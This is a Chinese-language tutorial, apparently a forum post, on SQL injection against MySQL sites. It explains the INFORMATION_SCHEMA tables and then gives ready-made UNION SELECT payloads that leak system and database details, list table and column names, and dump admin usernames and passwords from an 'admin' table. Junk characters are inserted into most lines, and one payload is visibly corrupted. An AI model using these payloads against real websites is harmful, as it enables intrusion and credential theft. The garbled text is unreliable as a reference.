本文介绍MYSQL盲注的一些语句和方法
5 b8 o+ R, o! P6 j) E: A* D! j9 O$ G( c
学习盲注前先了解下 IFORMATION_SCHEMA 库2 o5 @6 y# M+ k3 u! p
' x0 P D; M3 j1 o- }Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有" @( [% y. v$ h9 A+ F- K: [7 l1 o
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。% w$ G1 k4 V6 ]
1.得到所有数据库名:
0 X' D1 X8 t8 j/ n F|SCHEMATA ->存储数据库名的表1 y$ K k. e. t" K7 N- y* Y* [. W+ G
|---字段:SCHEMA_NAME ->数据库名称
; o: m( [7 z" Y# H' P6 n6 P* ]4 n/ l3 `/ h
|TABLES ->存储表名5 M$ `# D6 `8 E( I: x: N( J! @
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
; c5 Q$ N1 K& H4 M5 R( t|---字段:TABLE_NAME ->存储表的表名 n& G* H' E5 Z( m7 e
2 A9 c8 R. _ z7 f6 R|COLUMNS ->存储的字段名表 ^- {9 H# D& O5 M" U5 }
|---字段:TABLE_SCHEMA ->该字段所属数据库名
9 l" j7 h) @) ]/ {# F8 w|---字段:TABLE_NAME ->存储所属表的名称6 [% J+ W- E' p( |" A
5 }8 K$ Z$ f1 L% } d# r# i0 b: {|---字段:COLUMN_NAME ->该字段的名称
% v3 Y) T% R. ~
) K& i* |% j2 D1 _
! ^2 R) @# S* C3 ~
! Q2 w" k! W: b$ g, }5 x* a( m###########################################################################" x1 B1 k& O- u: k h+ _
7 S6 P; P1 E- N# _4 M! T0x001 获取系统信息:
0 ~' S# x9 Y' ~0 w* s: W" u/ n1 \4 y9 L; x
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /* }; j( w7 Y- Z
& y9 {+ w) K% E0 N. e/*
; z9 o/ @8 @. y6 q1 Y! f% h/ H T' Q7 @9 n
@@global.version_compile_os 获取系统版本2 E3 D A' i5 l% {
* q. v2 T7 }- G% j/ V* |$ i
@@datadir 数据库路径7 r1 @, ^1 t/ o7 E0 t. M5 |
database() 当前数据库名称+ I$ q/ C" V H$ ^4 u! b
0x3c62723e 换行HEX值
- H7 M$ I$ u) s& z2 H
7 `6 Q! C+ o6 G9 `*/$ C" r4 @) y' D n, l3 T
m) C9 I+ @0 e ' m+ g2 A. s5 A X4 {8 x0 E
# F; S) \& F N######################################################################5 {* q7 f- i" p/ [$ ~, M4 w
0 K7 M2 t1 d7 ^8 {) b' J* L% v0x002 获取表名" ]' k* a4 I1 A [- v; k9 a
* b; H: Y& c" s nunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*3 d* N9 Q, h5 Q6 I( E8 e Z4 b
, E, L1 u% v* V
1 i; x4 l* U- k, h$ K4 g% L$ W. r8 ?9 ]
/*
* U/ R+ |% b8 _" A1 l* @5 X: l3 G# M) Q! A# }' s3 x0 y
0x67617264656e 为当前数据库名7 `- S/ a% P7 \3 f1 d
' H& ], u' ~" U) P" }) x* _group_concat(table_name) 使用group_concat函数 一步获得该库所有表名: W% q- K( i( S0 Q6 g' h8 m
1 y! f% x# X; e8 f6 h
*/
+ m3 X f. N; m0 {$ }
. t j9 n, c6 Q' D8 C5 c####################################################################### M7 k: e5 H0 | \
' U( x n$ B1 c M& u
2 _: w3 \, u# m; f0 q0 S5 M: z7 l, {( I
6 _, }6 Z) K3 I( m0x003 获取字段' I! I* E( E. O5 R
" n+ a' ~/ D3 _" g F. j% z
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
4 V! B5 x, y7 d. [& p; Q
6 C1 M1 H& r. g/*+ k+ E+ g1 `9 n7 x0 q
" x3 f; [& m/ ~( mgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段8 n3 }7 M$ [4 U8 l0 |4 ~
' D2 c8 B- z% M( B6 |0x61646d696e ->选择一个表
. P+ g" W n n9 l* M: \
, E# f4 U) T& s& B3 E: \0x67617264656e ->数据库名
. d w/ \( J! P0 e# q4 @, K+ d `
4 ]/ e: G7 [+ j5 o& c; O& _) t*/( q+ a/ `6 Y; {
8 Y) T. B# n5 C5 v#####################################################################+ T. e; T! Q& S8 a& {6 B( h" s& M' j+ \
: T7 x: r5 E2 s! D6 S- a
/ s3 Q: T& [3 F# i- G2 n# h
+ C& ~. n& z/ ^, M6 F9 [6 j0x004 获取数据. x6 \0 ~# x; A' _# s: f3 _
0 n/ X4 T, p7 M6 m& O
union select 1,2,3
! e7 Q+ o3 x& G' P4 w,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin" n% M1 F& q' q4 S
* p" L: C& p7 {8 O2 F' B3 ^, U
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin+ ?' Y! F, u$ b: j0 z, ]
7 Z) {$ {% B+ c/ E
- } H% O& ^( I
' o0 B% {' b" D8 z/*
( j2 V9 T9 T( @' A- r8 m
9 c) O. k& ?- g8 B- Y0x3c62723e 换行符号HEX编码3 p$ r) o, X( ~, \
* |, t3 x& k9 M! W+ } d0 ^: `group_concat 同时获得该字段所有数据
`+ i) K+ Q. ~+ Q5 K
& |- V8 K! x& |*/
! E3 Y/ m5 l* N2 P* V; O. A) h! ^- ~5 W8 m
|